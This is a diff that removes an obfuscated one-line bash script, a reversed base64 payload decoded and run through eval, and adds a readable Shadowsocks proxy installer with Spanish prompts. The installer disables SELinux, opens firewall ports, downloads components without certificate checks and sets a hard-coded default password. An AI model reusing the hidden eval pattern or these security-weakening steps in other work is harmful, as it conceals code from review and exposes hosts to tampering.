ud3bk9yclNXYlxWZy9Sb1lGZvNnYpx2LxQ3YzlGZlp2Lt92YuIWdoRXan9yL6MHc0RHai0DbyV3XtVXak92cilGbKIyNx4CMuETLtVXak92cilGbi0TZslmZf1WdpR2bzJWaspQK2VmYpxWLzt2YvN3dvRWYoNFIvdULzt2YvN3dvRWYoNFISN3aj92c39GZhh2Ug42boRXeQ1ycrN2bzd3bkFGaThSPlJXY3RnZvNnCpACZ3BHIoQSPylGZfJXdjpQMgQXa4VGImYCIiECdv9mcgMXYg4WdyBSZiBCdzVXbgQHcpJ3YzBycphGVg0VfulWYsB3ekI3byJXR9RWZytHJbJCIl1CIvh2YlBiJmASXdBCMgUmbtACRJVVRkAyWbpwJtBzWzMDMcdSPulWYsBnCn02MzsDMbNzMww1J9c3bsxWZ5pwJtJzM7AzWzMDMcdSPuVWZydmCn0WMzsDMbNzMww1J9QWZypASUFEUgQncvBHelpgbpJ2L+pjbpJ2cvwWYj9GbvI3c19iOulmYvwWYj9GbvI3c19iOulmYz9iczV3L64Wai9iczV3L64WaiN3L64Wai9SPIRVQQBCbhZXZ | r";IrqnYIMQzDXkMWKAlQPOHbGguaQCMVNaPDjnWYnwStxjjCevlcsgdVwyagbBlBzZADAaDaQaNkbYDyYdJMjvHTxhxhzffnInSYVQ="oZdbAAexRNSnIQMpAUtnBaayaweqccvcUrJztnFrqFISEhnERganNzFxXuldwraDKqUbKVJgPkjQjUXBCdVRnzhNWIBXbofBpphY";OdQZQeAeguoiomHAHkgSuyqSlDxXZeGkFvtZIELYvyLqLUyJdereRlsdRfEUvAcQhNuEmyLDrSlIKkSsdHrTxjYbXjycrgCOuNzv="";GRrbryBEdzFoPyQmGPaphovnhOHwiEgxHRZrxKVqJeinShQOVpzJRErXrqVNLuSXTKVmLKwuHdqYrfNqzmpMPdMxPDQEsIycMjCZ="as";VRPDGyytGUmAjDikoqCchxSXtlaoHZktlkzGhDJqPFcnvfSaywwVHgXLhnCeIVjlHDXeJpGjuUpOQXcnWboMoPhWOoGXXQgBxszs="QSOLOPZEtAKaIasrwvwtSjwLWYQIPHtnrKofGJLebMResgZPQwWtEHdElQqYOHOZhJeslcnsPsVSXzHDXfOOoCsPCgUawUwlXSTJ";oiyskSfktYUfusxJuCbrDwdMUzjqIuwciOZcjJAxZMiTnmhMsRlNLhyYOsQajRpTliSroeXdGhpmlZQINRRJeWNRgBkGmEQJQMwM="THMCzkmJzrEfcMnKKXXbyZNzkkudbcAfCSrIJKvWNgNQlrJJyemuStwRdJCsrANxdXVnJHTzvrifzZMyzzYoATtQnKldDwaXreXH";WzjScndIZHdSFxjYgxdFNcFfzGsyXvPhnlrKrrhvPRTwwKsWeZgygJFyZfSLcOJfBSVSjxxfmhTIqnUYWyZkFNTmTwLSjAfYdYZm="o";dhNgTKpHPWUTueyqbGZRAfSEENDetFAKwbIsnEGvzIcjcnVjPBSjAJSJHnZhqhrthfURoKdEVmzrjkpCtGJGJDakYROrsoYEIxkT="6";ETuCUiELpEJOABpDgpfOniZsBmSxKZUxJdtWYSXQdWNxcQePVumbuhDBcVcVmHGXjPIjodogceeQFkoeymnkKokIGhUiAvnGWnGw="qMppQoutsyYqgnOGrXlQokGfTAaxpcNCgOlQydPJXftUOolphpXnpfwUrdIYYLMFZkbQQCaDwYnroOAtmLaVPTvYJUEnBIqJMdFH";FtCdfNgIRBMxEibRTdpUhSLLeFXhrpXeWzfCemXkcuiALMmALTXHraIqwxnPlKAMmYTgRorrPYnFfOjTTqvOlLFeKRdoqQuVrutj=" -d";VBJopjKTkGMpeyKyrUkBhrVykZkREduNaNtCCycdGbPLqtzYTmPwXEoqtVqqvjDQuRtSSzKMeuxPDztVHMTLUbMUfUuzijdxhZCB="gBXEIIsKgIjkfqlobRHNEhIhZxIgKFmVaZPwPhbgFVjODdrGDZMztYJchwBosfgwDJmobNOQOWiKCuozorVmecWrpVYCuZtCFUoa";fdEHVAoTyChixMDOLSMWCOerBIjJfhHWZAapAydlxSUtgYnHbXRfQinEWIlDCqbLylwKVvzrMFERqmceflHHqXDxYZsxuBcjMgXL="";mcvRWBSpdsAvSlbGQIyggQPlfYFebzOHNkmdSiOxqgvdcQqfuHakHzHjdYyEtpPJszvmloIYhfGUjQmswJRQCWgQBSugDIVdLjMA="b";XcPdfRsyCKCqCLOqdnxFspDYVVxsYmWGxhCnBKhLLCkeljvXBCCetJkcOPRRVyHQDwkrByJtyqlYLEndytTZqSafvBFPgHMUYFnB="e";rYWlQvPsLfdCuQblUNEBmpOdCULRetjGVAWOkhEthTJgFAmptFaTpsSaaJvPGphnnJBhttIYFsBpJxDaNvVZPFcvBqGZJyFjAEsF="v |";Tx=Eds;uymTqrUAYFOEXGReFLCruLpbBcjdcZfSPoHpOWpMTuhwtlFzeJskDEcpZKduLcwlybujxKQqPIpwHXEjuZgFiuniSZuwMMXlNdQC="";ITzSQEGGfdQHBRFyZPChSZjbEzdfkslWSQAaRUHOgvYNasIlyVlEtpKURwlqrFbbLbNDbMHVyWtsKKvQcTPPCYnQkhsvwStwBZgg=$(eval "$OdQZQeAeguoiomHAHkgSuyqSlDxXZeGkFvtZIELYvyLqLUyJdereRlsdRfEUvAcQhNuEmyLDrSlIKkSsdHrTxjYbXjycrgCOuNzv$XcPdfRsyCKCqCLOqdnxFspDYVVxsYmWGxhCnBKhLLCkeljvXBCCetJkcOPRRVyHQDwkrByJtyqlYLEndytTZqSafvBFPgHMUYFnB$ItEeoteCPQyZjEHUnBtIUVfOyicFcyAYjxURxmjJassOWzcSaNqrDpZZsxVGqGMJLdSujCOTxUyzIjyKZafEgJtpJItSskmtQXRj$NBjKqgnlrAXfYlXRevBKGkIsMktXdOZqxZumTbfDTbTeNVNyJxfwfdmZAPhOgGuhRqSbnjbMVnIaGxuzXrPivbsYVOEAiyUOgeJv$WzjScndIZHdSFxjYgxdFNcFfzGsyXvPhnlrKrrhvPRTwwKsWeZgygJFyZfSLcOJfBSVSjxxfmhTIqnUYWyZkFNTmTwLSjAfYdYZm$jbOLajYbAaWPyQxihGsaBXpGclSkqAhwRlxvTRnpXoqxsJAIKepYQAuGpLyMYMqfNempNmjIVPHBCFyvkbzkXwXvjAUCPXxTFkFE$XcPdfRsyCKCqCLOqdnxFspDYVVxsYmWGxhCnBKhLLCkeljvXBCCetJkcOPRRVyHQDwkrByJtyqlYLEndytTZqSafvBFPgHMUYFnB$rYWlQvPsLfdCuQblUNEBmpOdCULRetjGVAWOkhEthTJgFAmptFaTpsSaaJvPGphnnJBhttIYFsBpJxDaNvVZPFcvBqGZJyFjAEsF$OdQZQeAeguoiomHAHkgSuyqSlDxXZeGkFvtZIELYvyLqLUyJdereRlsdRfEUvAcQhNuEmyLDrSlIKkSsdHrTxjYbXjycrgCOuNzv$mcvRWBSpdsAvSlbGQIyggQPlfYFebzOHNkmdSiOxqgvdcQqfuHakHzHjdYyEtpPJszvmloIYhfGUjQmswJRQCWgQBSugDIVdLjMA$uymTqrUAYFOEXGReFLCruLpbBcjdcZfSPoHpOWpMTuhwtlFzeJskDEcpZKduLcwlybujxKQqPIpwHXEjuZgFiuniSZuwMMXlNdQC$GRrbryBEdzFoPyQmGPaphovnhOHwiEgxHRZrxKVqJeinShQOVpzJRErXrqVNLuSXTKVmLKwuHdqYrfNqzmpMPdMxPDQEsIycMjCZ$XcPdfRsyCKCqCLOqdnxFspDYVVxsYmWGxhCnBKhLLCkeljvXBCCetJkcOPRRVyHQDwkrByJtyqlYLEndytTZqSafvBFPgHMUYFnB$dhNgTKpHPWUTueyqbGZRAfSEENDetFAKwbIsnEGvzIcjcnVjPBSjAJSJHnZhqhrthfURoKdEVmzrjkpCtGJGJDakYROrsoYEIxkT$NBjKqgnlrAXfYlXRevBKGkIsMktXdOZqxZumTbfDTbTeNVNyJxfwfdmZAPhOgGuhRqSbnjbMVnIaGxuzXrPivbsYVOEAiyUOgeJv$HOpQkMUFPgWqyiENAzcZxuxIuYfFZkzUoZMpZfNGUSLSoITiBzQjmUmybgdlTeUqsWpbETnjIQzFxDuUpJoGMRDUhMHNgLcBNSgb$FtCdfNgIRBMxEibRTdpUhSLLeFXhrpXeWzfCemXkcuiALMmALTXHraIqwxnPlKAMmYTgRorrPYnFfOjTTqvOlLFeKRdoqQuVrutj$uymTqrUAYFOEXGReFLCruLpbBcjdcZfSPoHpOWpMTuhwtlFzeJskDEcpZKduLcwlybujxKQqPIpwHXEjuZgFiuniSZuwMMXlNdQC");eval "$fdEHVAoTyChixMDOLSMWCOerBIjJfhHWZAapAydlxSUtgYnHbXRfQinEWIlDCqbLylwKVvzrMFERqmceflHHqXDxYZsxuBcjMgXL$ITzSQEGGfdQHBRFyZPChSZjbEzdfkslWSQAaRUHOgvYNasIlyVlEtpKURwlqrFbbLbNDbMHVyWtsKKvQcTPPCYnQkhsvwStwBZgg$OdQZQeAeguoiomHAHkgSuyqSlDxXZeGkFvtZIELYvyLqLUyJdereRlsdRfEUvAcQhNuEmyLDrSlIKkSsdHrTxjYbXjycrgCOuNzv$NBjKqgnlrAXfYlXRevBKGkIsMktXdOZqxZumTbfDTbTeNVNyJxfwfdmZAPhOgGuhRqSbnjbMVnIaGxuzXrPivbsYVOEAiyUOgeJv"
\ No newline at end of file
+eval PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
+export PATH
+red='\033[0;31m'
+green='\033[0;32m'
+yellow='\033[0;33m'
+plain='\033[0m'
+[[ $EUID -ne 0 ]] && echo -e "[${red}Error${plain}] This script must be run as root!" && exit 1
+cur_dir=$( pwd )
+software=(Shadowsocks-Python ShadowsocksR Shadowsocks-Go Shadowsocks-libev)
+libsodium_file="libsodium-1.0.17"
+libsodium_url="https://github.com/jedisct1/libsodium/releases/download/1.0.17/libsodium-1.0.17.tar.gz"
+mbedtls_file="mbedtls-2.16.0"
+mbedtls_url="https://tls.mbed.org/download/mbedtls-2.16.0-gpl.tgz"
+shadowsocks_python_file="shadowsocks-master"
+shadowsocks_python_url="https://github.com/shadowsocks/shadowsocks/archive/master.zip"
+shadowsocks_python_init="/etc/init.d/shadowsocks-python"
+shadowsocks_python_config="/etc/shadowsocks-python/config.json"
+shadowsocks_python_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks"
+shadowsocks_python_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-debian"
+shadowsocks_r_file="shadowsocksr-3.2.2"
+shadowsocks_r_url="https://github.com/shadowsocksrr/shadowsocksr/archive/3.2.2.tar.gz"
+shadowsocks_r_init="/etc/init.d/shadowsocks-r"
+shadowsocks_r_config="/etc/shadowsocks-r/config.json"
+shadowsocks_r_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR"
+shadowsocks_r_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR-debian"
+shadowsocks_go_file_64="shadowsocks-server-linux64-1.2.2"
+shadowsocks_go_url_64="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux64-1.2.2.gz"
+shadowsocks_go_file_32="shadowsocks-server-linux32-1.2.2"
+shadowsocks_go_url_32="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux32-1.2.2.gz"
+shadowsocks_go_init="/etc/init.d/shadowsocks-go"
+shadowsocks_go_config="/etc/shadowsocks-go/config.json"
+shadowsocks_go_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go"
+shadowsocks_go_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go-debian"
+shadowsocks_libev_init="/etc/init.d/shadowsocks-libev"
+shadowsocks_libev_config="/etc/shadowsocks-libev/config.json"
+shadowsocks_libev_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev"
+shadowsocks_libev_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev-debian"
+common_ciphers=(
+aes-256-gcm
+aes-192-gcm
+aes-128-gcm
+aes-256-ctr
+aes-192-ctr
+aes-128-ctr
+aes-256-cfb
+aes-192-cfb
+aes-128-cfb
+camellia-128-cfb
+camellia-192-cfb
+camellia-256-cfb
+xchacha20-ietf-poly1305
+chacha20-ietf-poly1305
+chacha20-ietf
+chacha20
+salsa20
+rc4-md5
+)
+go_ciphers=(
+aes-256-cfb
+aes-192-cfb
+aes-128-cfb
+aes-256-ctr
+aes-192-ctr
+aes-128-ctr
+chacha20-ietf
+chacha20
+salsa20
+rc4-md5
+)
+r_ciphers=(
+none
+aes-256-cfb
+aes-192-cfb
+aes-128-cfb
+aes-256-cfb8
+aes-192-cfb8
+aes-128-cfb8
+aes-256-ctr
+aes-192-ctr
+aes-128-ctr
+chacha20-ietf
+chacha20
+salsa20
+xchacha20
+xsalsa20
+rc4-md5
+)
+protocols=(
+origin
+verify_deflate
+auth_sha1_v4
+auth_sha1_v4_compatible
+auth_aes128_md5
+auth_aes128_sha1
+auth_chain_a
+auth_chain_b
+auth_chain_c
+auth_chain_d
+auth_chain_e
+auth_chain_f
+)
+obfs=(
+plain
+http_simple
+http_simple_compatible
+http_post
+http_post_compatible
+tls1.2_ticket_auth
+tls1.2_ticket_auth_compatible
+tls1.2_ticket_fastauth
+tls1.2_ticket_fastauth_compatible
+)
+obfs_libev=(http tls)
+libev_obfs=""
+disable_selinux(){
+if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then
+sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config
+setenforce 0
+fi
+}
+check_sys(){
+local checkType=$1
+local value=$2
+local release=''
+local systemPackage=''
+if [[ -f /etc/redhat-release ]]; then
+release="centos"
+systemPackage="yum"
+elif grep -Eqi "debian|raspbian" /etc/issue; then
+release="debian"
+systemPackage="apt"
+elif grep -Eqi "ubuntu" /etc/issue; then
+release="ubuntu"
+systemPackage="apt"
+elif grep -Eqi "centos|red hat|redhat" /etc/issue; then
+release="centos"
+systemPackage="yum"
+elif grep -Eqi "debian|raspbian" /proc/version; then
+release="debian"
+systemPackage="apt"
+elif grep -Eqi "ubuntu" /proc/version; then
+release="ubuntu"
+systemPackage="apt"
+elif grep -Eqi "centos|red hat|redhat" /proc/version; then
+release="centos"
+systemPackage="yum"
+fi
+if [[ "${checkType}" == "sysRelease" ]]; then
+if [ "${value}" == "${release}" ]; then
+return 0
+else
+return 1
+fi
+elif [[ "${checkType}" == "packageManager" ]]; then
+if [ "${value}" == "${systemPackage}" ]; then
+return 0
+else
+return 1
+fi
+fi
+}
+version_ge(){
+test "$(echo "$@" | tr " " "\n" | sort -rV | head -n 1)" == "$1"
+}
+version_gt(){
+test "$(echo "$@" | tr " " "\n" | sort -V | head -n 1)" != "$1"
+}
+check_kernel_version(){
+local kernel_version=$(uname -r | cut -d- -f1)
+if version_gt ${kernel_version} 3.7.0; then
+return 0
+else
+return 1
+fi
+}
+check_kernel_headers(){
+if check_sys packageManager yum; then
+if rpm -qa | grep -q headers-$(uname -r); then
+return 0
+else
+return 1
+fi
+elif check_sys packageManager apt; then
+if dpkg -s linux-headers-$(uname -r) > /dev/null 2>&1; then
+return 0
+else
+return 1
+fi
+fi
+return 1
+}
+getversion(){
+if [[ -s /etc/redhat-release ]]; then
+grep -oE "[0-9.]+" /etc/redhat-release
+else
+grep -oE "[0-9.]+" /etc/issue
+fi
+}
+centosversion(){
+if check_sys sysRelease centos; then
+local code=$1
+local version="$(getversion)"
+local main_ver=${version%%.*}
+if [ "$main_ver" == "$code" ]; then
+return 0
+else
+return 1
+fi
+else
+return 1
+fi
+}
+autoconf_version(){
+if [ ! "$(command -v autoconf)" ]; then
+echo -e "[${green}Info${plain}] Starting install package autoconf"
+if check_sys packageManager yum; then
+yum install -y autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf"
+elif check_sys packageManager apt; then
+apt-get -y update > /dev/null 2>&1
+apt-get -y install autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf"
+fi
+fi
+local autoconf_ver=$(autoconf --version | grep autoconf | grep -oE "[0-9.]+")
+if version_ge ${autoconf_ver} 2.67; then
+return 0
+else
+return 1
+fi
+}
+get_ip(){
+local IP=$( ip addr | egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | egrep -v "^192\.168|^172\.1[6-9]\.|^172\.2[0-9]\.|^172\.3[0-2]\.|^10\.|^127\.|^255\.|^0\." | head -n 1 )
+[ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipv4.icanhazip.com )
+[ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipinfo.io/ip )
+echo ${IP}
+}
+get_ipv6(){
+local ipv6=$(wget -qO- -t1 -T2 ipv6.icanhazip.com)
+[ -z ${ipv6} ] && return 1 || return 0
+}
+get_libev_ver(){
+libev_ver=$(wget --no-check-certificate -qO- https://api.github.com/repos/shadowsocks/shadowsocks-libev/releases/latest | grep 'tag_name' | cut -d\" -f4)
+[ -z ${libev_ver} ] && echo -e "[${red}Error${plain}] Get shadowsocks-libev latest version failed" && exit 1
+}
+get_opsy(){
+[ -f /etc/redhat-release ] && awk '{print ($1,$3~/^[0-9]/?$3:$4)}' /etc/redhat-release && return
+[ -f /etc/os-release ] && awk -F'[= "]' '/PRETTY_NAME/{print $3,$4,$5}' /etc/os-release && return
+[ -f /etc/lsb-release ] && awk -F'[="]+' '/DESCRIPTION/{print $2}' /etc/lsb-release && return
+}
+is_64bit(){
+if [ `getconf WORD_BIT` = '32' ] && [ `getconf LONG_BIT` = '64' ] ; then
+return 0
+else
+return 1
+fi
+}
+debianversion(){
+if check_sys sysRelease debian;then
+local version=$( get_opsy )
+local code=${1}
+local main_ver=$( echo ${version} | sed 's/[^0-9]//g')
+if [ "${main_ver}" == "${code}" ];then
+return 0
+else
+return 1
+fi
+else
+return 1
+fi
+}
+download(){
+local filename=$(basename $1)
+if [ -f ${1} ]; then
+echo "${filename} [found]"
+else
+echo "${filename} not found, download now..."
+wget --no-check-certificate -c -t3 -T60 -O ${1} ${2}
+if [ $? -ne 0 ]; then
+echo -e "[${red}Error${plain}] Download ${filename} failed."
+exit 1
+fi
+fi
+}
+download_files(){
+cd ${cur_dir}
+if [ "${selected}" == "1" ]; then
+download "${shadowsocks_python_file}.zip" "${shadowsocks_python_url}"
+if check_sys packageManager yum; then
+download "${shadowsocks_python_init}" "${shadowsocks_python_centos}"
+elif check_sys packageManager apt; then
+download "${shadowsocks_python_init}" "${shadowsocks_python_debian}"
+fi
+elif [ "${selected}" == "2" ]; then
+download "${shadowsocks_r_file}.tar.gz" "${shadowsocks_r_url}"
+if check_sys packageManager yum; then
+download "${shadowsocks_r_init}" "${shadowsocks_r_centos}"
+elif check_sys packageManager apt; then
+download "${shadowsocks_r_init}" "${shadowsocks_r_debian}"
+fi
+elif [ "${selected}" == "3" ]; then
+if is_64bit; then
+download "${shadowsocks_go_file_64}.gz" "${shadowsocks_go_url_64}"
+else
+download "${shadowsocks_go_file_32}.gz" "${shadowsocks_go_url_32}"
+fi
+if check_sys packageManager yum; then
+download "${shadowsocks_go_init}" "${shadowsocks_go_centos}"
+elif check_sys packageManager apt; then
+download "${shadowsocks_go_init}" "${shadowsocks_go_debian}"
+fi
+elif [ "${selected}" == "4" ]; then
+get_libev_ver
+shadowsocks_libev_file="shadowsocks-libev-$(echo ${libev_ver} | sed -e 's/^[a-zA-Z]//g')"
+shadowsocks_libev_url="https://github.com/shadowsocks/shadowsocks-libev/releases/download/${libev_ver}/${shadowsocks_libev_file}.tar.gz"
+download "${shadowsocks_libev_file}.tar.gz" "${shadowsocks_libev_url}"
+if check_sys packageManager yum; then
+download "${shadowsocks_libev_init}" "${shadowsocks_libev_centos}"
+elif check_sys packageManager apt; then
+download "${shadowsocks_libev_init}" "${shadowsocks_libev_debian}"
+fi
+fi
+}
+get_char(){
+SAVEDSTTY=$(stty -g)
+stty -echo
+stty cbreak
+dd if=/dev/tty bs=1 count=1 2> /dev/null
+stty -raw
+stty echo
+stty $SAVEDSTTY
+}
+error_detect_depends(){
+local command=$1
+local depend=`echo "${command}" | awk '{print $4}'`
+echo -e "[${green}Info${plain}] Starting to install package ${depend}"
+${command} > /dev/null 2>&1
+if [ $? -ne 0 ]; then
+echo -e "[${red}Error${plain}] Failed to install ${red}${depend}${plain}"
+exit 1
+fi
+}
+config_firewall(){
+if centosversion 6; then
+/etc/init.d/iptables status > /dev/null 2>&1
+if [ $? -eq 0 ]; then
+iptables -L -n | grep -i ${shadowsocksport} > /dev/null 2>&1
+if [ $? -ne 0 ]; then
+iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${shadowsocksport} -j ACCEPT
+iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${shadowsocksport} -j ACCEPT
+/etc/init.d/iptables save
+/etc/init.d/iptables restart
+else
+echo -e "[${green}Info${plain}] port ${green}${shadowsocksport}${plain} already be enabled."
+fi
+else
+echo -e "[${yellow}Warning${plain}] iptables looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary."
+fi
+elif centosversion 7; then
+systemctl status firewalld > /dev/null 2>&1
+if [ $? -eq 0 ]; then
+default_zone=$(firewall-cmd --get-default-zone)
+firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/tcp
+firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/udp
+firewall-cmd --reload
+else
+echo -e "[${yellow}Warning${plain}] firewalld looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary."
+fi
+fi
+}
+config_shadowsocks(){
+if check_kernel_version && check_kernel_headers; then
+fast_open="true"
+else
+fast_open="false"
+fi
+if [ "${selected}" == "1" ]; then
+if [ ! -d "$(dirname ${shadowsocks_python_config})" ]; then
+mkdir -p $(dirname ${shadowsocks_python_config})
+fi
+cat > ${shadowsocks_python_config}<<-EOF
+{
+"server":"0.0.0.0",
+"server_port":${shadowsocksport},
+"local_address":"127.0.0.1",
+"local_port":1080,
+"password":"${shadowsockspwd}",
+"timeout":300,
+"method":"${shadowsockscipher}",
+"fast_open":${fast_open}
+}
+EOF
+elif [ "${selected}" == "2" ]; then
+if [ ! -d "$(dirname ${shadowsocks_r_config})" ]; then
+mkdir -p $(dirname ${shadowsocks_r_config})
+fi
+cat > ${shadowsocks_r_config}<<-EOF
+{
+"server":"0.0.0.0",
+"server_ipv6":"::",
+"server_port":${shadowsocksport},
+"local_address":"127.0.0.1",
+"local_port":1080,
+"password":"${shadowsockspwd}",
+"timeout":120,
+"method":"${shadowsockscipher}",
+"protocol":"${shadowsockprotocol}",
+"protocol_param":"",
+"obfs":"${shadowsockobfs}",
+"obfs_param":"",
+"redirect":"",
+"dns_ipv6":false,
+"fast_open":${fast_open},
+"workers":1
+}
+EOF
+elif [ "${selected}" == "3" ]; then
+if [ ! -d "$(dirname ${shadowsocks_go_config})" ]; then
+mkdir -p $(dirname ${shadowsocks_go_config})
+fi
+cat > ${shadowsocks_go_config}<<-EOF
+{
+"server":"0.0.0.0",
+"server_port":${shadowsocksport},
+"local_port":1080,
+"password":"${shadowsockspwd}",
+"method":"${shadowsockscipher}",
+"timeout":300
+}
+EOF
+elif [ "${selected}" == "4" ]; then
+local server_value="\"0.0.0.0\""
+if get_ipv6; then
+server_value="[\"[::0]\",\"0.0.0.0\"]"
+fi
+if [ ! -d "$(dirname ${shadowsocks_libev_config})" ]; then
+mkdir -p $(dirname ${shadowsocks_libev_config})
+fi
+if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then
+cat > ${shadowsocks_libev_config}<<-EOF
+{
+"server":${server_value},
+"server_port":${shadowsocksport},
+"password":"${shadowsockspwd}",
+"timeout":300,
+"user":"nobody",
+"method":"${shadowsockscipher}",
+"fast_open":${fast_open},
+"nameserver":"8.8.8.8",
+"mode":"tcp_and_udp",
+"plugin":"obfs-server",
+"plugin_opts":"obfs=${shadowsocklibev_obfs}"
+}
+EOF
+else
+cat > ${shadowsocks_libev_config}<<-EOF
+{
+"server":${server_value},
+"server_port":${shadowsocksport},
+"password":"${shadowsockspwd}",
+"timeout":300,
+"user":"nobody",
+"method":"${shadowsockscipher}",
+"fast_open":${fast_open},
+"nameserver":"8.8.8.8",
+"mode":"tcp_and_udp"
+}
+EOF
+fi
+fi
+}
+install_dependencies(){
+if check_sys packageManager yum; then
+echo -e "[${green}Info${plain}] Checking the EPEL repository..."
+if [ ! -f /etc/yum.repos.d/epel.repo ]; then
+yum install -y epel-release > /dev/null 2>&1
+fi
+[ ! -f /etc/yum.repos.d/epel.repo ] && echo -e "[${red}Error${plain}] Install EPEL repository failed, please check it." && exit 1
+[ ! "$(command -v yum-config-manager)" ] && yum install -y yum-utils > /dev/null 2>&1
+[ x"$(yum-config-manager epel | grep -w enabled | awk '{print $3}')" != x"True" ] && yum-config-manager --enable epel > /dev/null 2>&1
+echo -e "[${green}Info${plain}] Checking the EPEL repository complete..."
+yum_depends=(
+unzip gzip openssl openssl-devel gcc python python-devel python-setuptools pcre pcre-devel libtool libevent
+autoconf automake make curl curl-devel zlib-devel perl perl-devel cpio expat-devel gettext-devel
+libev-devel c-ares-devel git qrencode
+)
+for depend in ${yum_depends[@]}; do
+error_detect_depends "yum -y install ${depend}"
+done
+elif check_sys packageManager apt; then
+apt_depends=(
+gettext build-essential unzip gzip python python-dev python-setuptools curl openssl libssl-dev
+autoconf automake libtool gcc make perl cpio libpcre3 libpcre3-dev zlib1g-dev libev-dev libc-ares-dev git qrencode
+)
+apt-get -y update
+for depend in ${apt_depends[@]}; do
+error_detect_depends "apt-get -y install ${depend}"
+done
+fi
+}
+install_check(){
+if check_sys packageManager yum || check_sys packageManager apt; then
+if centosversion 5; then
+return 1
+fi
+return 0
+else
+return 1
+fi
+}
+install_select(){
+if ! install_check; then
+echo -e "[${red}Error${plain}] Your OS is not supported to run it!"
+echo "Please change to CentOS 6+/Debian 7+/Ubuntu 12+ and try again."
+exit 1
+fi
+clear
+while true
+do
+echo "Cual servidor Shadowsocks quieres instalar (recomendado 4):"
+for ((i=1;i<=${#software[@]};i++ )); do
+hint="${software[$i-1]}"
+echo -e "${green}${i}${plain}) ${hint}"
+done
+read -p "Escribe un numero (Default ${software[0]}):" selected
+[ -z "${selected}" ] && selected="1"
+case "${selected}" in
+1|2|3|4)
+echo
+echo "Escogiste = ${software[${selected}-1]}"
+echo
+break
+;;
+*)
+echo -e "[${red}Error${plain}] Por favor escribe un numero del [1-4]"
+;;
+esac
+done
+}
+install_prepare_password(){
+echo "Escribe una contraseña ${software[${selected}-1]}"
+read -p "(Default password: chumogh):" shadowsockspwd
+[ -z "${shadowsockspwd}" ] && shadowsockspwd="chumogh"
+echo
+echo "password = ${shadowsockspwd}"
+echo
+}
+install_prepare_port() {
+while true
+do
+dport=$(shuf -i 9000-19999 -n 1)
+echo -e "Por favor escribe un puerto ${software[${selected}-1]} [1-65535]"
+read -p "(Default port: ${dport}):" shadowsocksport
+[ -z "${shadowsocksport}" ] && shadowsocksport=${dport}
+expr ${shadowsocksport} + 1 &>/dev/null
+if [ $? -eq 0 ]; then
+if [ ${shadowsocksport} -ge 1 ] && [ ${shadowsocksport} -le 65535 ] && [ ${shadowsocksport:0:1} != 0 ]; then
+echo
+echo "port = ${shadowsocksport}"
+echo
+break
+fi
+fi
+echo -e "[${red}Error${plain}] Por favor escribe un numero entre [1-65535]"
+done
+}
+install_prepare_cipher(){
+while true
+do
+echo -e "Escribe el tipo de encriptacion ${software[${selected}-1]}:"
+if [[ "${selected}" == "1" || "${selected}" == "4" ]]; then
+for ((i=1;i<=${#common_ciphers[@]};i++ )); do
+hint="${common_ciphers[$i-1]}"
+echo -e "${green}${i}${plain}) ${hint}"
+done
+read -p "Encriptacion(Default: ${common_ciphers[0]}):" pick
+[ -z "$pick" ] && pick=1
+expr ${pick} + 1 &>/dev/null
+if [ $? -ne 0 ]; then
+echo -e "[${red}Error${plain}] Por favor escribe un numero"
+continue
+fi
+if [[ "$pick" -lt 1 || "$pick" -gt ${#common_ciphers[@]} ]]; then
+echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#common_ciphers[@]}"
+continue
+fi
+shadowsockscipher=${common_ciphers[$pick-1]}
+elif [ "${selected}" == "2" ]; then
+for ((i=1;i<=${#r_ciphers[@]};i++ )); do
+hint="${r_ciphers[$i-1]}"
+echo -e "${green}${i}${plain}) ${hint}"
+done
+read -p "Encriptacion(Default: ${r_ciphers[1]}):" pick
+[ -z "$pick" ] && pick=2
+expr ${pick} + 1 &>/dev/null
+if [ $? -ne 0 ]; then
+echo -e "[${red}Error${plain}] Por favor escribe un numero"
+continue
+fi
+if [[ "$pick" -lt 1 || "$pick" -gt ${#r_ciphers[@]} ]]; then
+echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#r_ciphers[@]}"
+continue
+fi
+shadowsockscipher=${r_ciphers[$pick-1]}
+elif [ "${selected}" == "3" ]; then
+for ((i=1;i<=${#go_ciphers[@]};i++ )); do
+hint="${go_ciphers[$i-1]}"
+echo -e "${green}${i}${plain}) ${hint}"
+done
+read -p "Encriptacion(Default: ${go_ciphers[0]}):" pick
+[ -z "$pick" ] && pick=1
+expr ${pick} + 1 &>/dev/null
+if [ $? -ne 0 ]; then
+echo -e "[${red}Error${plain}] Por favor escribe un numero"
+continue
+fi
+if [[ "$pick" -lt 1 || "$pick" -gt ${#go_ciphers[@]} ]]; then
+echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#go_ciphers[@]}"
+continue
+fi
+shadowsockscipher=${go_ciphers[$pick-1]}
+fi
+echo
+echo "cipher = ${shadowsockscipher}"
+echo
+break
+done
+}
